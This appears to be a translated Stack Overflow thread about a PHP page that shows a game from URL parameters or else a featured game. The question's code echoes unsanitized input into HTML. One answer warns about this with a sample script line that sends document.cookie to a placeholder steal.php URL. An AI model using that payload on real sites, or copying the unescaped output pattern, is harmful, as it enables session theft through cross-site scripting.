【问题标题】:PHP: Set Variable to Get ValuePHP:设置变量以获取值
【发布时间】:2009-12-21 12:54:00
【问题描述】:

我正在使用 PHP 创建一个游戏网站,我只想为游戏使用一个页面而不是一堆。我希望这样输入信息:

`?swf=[.swf 的路径]&name=[游戏名称]&description=[游戏说明]&instruction=[游戏说明]``

问题是如果没有在 URL 中输入数据,它会返回一个黑页。如果 URL 中没有任何内容,我想使用 if...else 来显示特色游戏。我现在的代码是:

<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>

<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>

<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>

<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>

任何人都可以就如何实现这一点提供任何建议吗?

【问题讨论】:

  • 请不要在一个文件中混淆控制器和视图逻辑。只是因为 PHP 允许愚蠢和丑陋的东西并不意味着我们应该这样使用它,对不起。
  • 上面代码中的引号似乎有很多问题。例如echo "&lt;h3&gt;$name"&lt;/h3&gt;; 应该是echo "&lt;h3&gt;$name&lt;/h3&gt;";

标签: php variables web get


【解决方案1】:

我不确定 if ($name=="*") 的作用,但我会使用

if(isset($_GET['name']))

相反,检查名称是否已传递到 url。

【讨论】:

    【解决方案2】:

    我假设您与$_GET['name'] == "*" 混淆了一些东西。在这种情况下,它只是一个字符串比较。 * 不是与 SQL 中的任何内容匹配的通配符。如果要检查$_GET['name'] 中是否有内容,可以使用emptyisset

    另外,我建议你只检查name,因为你所有的参数在概念上都属于游戏。如果没有name,就没有description,也没有instructions

    但是无论你做什么,一定要清理你要输出的参数,否则迟早会有人提供这个或类似的名字:

    <script>document.location='http://www.example.com/steal.php?'+document.cookie</script> 
    

    【讨论】:

    【解决方案3】:
    if(empty($_GET['swf']) and empty($_GET['name']) and empty($_GET['description']) and empty($_GET['instruction']){
    /// code here
    }else{
    /// and here
    }
    

    【讨论】:

    • ...它可能应该是or||,因为在我看来所有值都是必需的,所以即使是一个空值也应该评估为假。
    • 评估为假,我的意思是真的。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2015-06-19
    • 2013-01-26
    • 1970-01-01
    • 2017-10-06
    相关资源
    最近更新 更多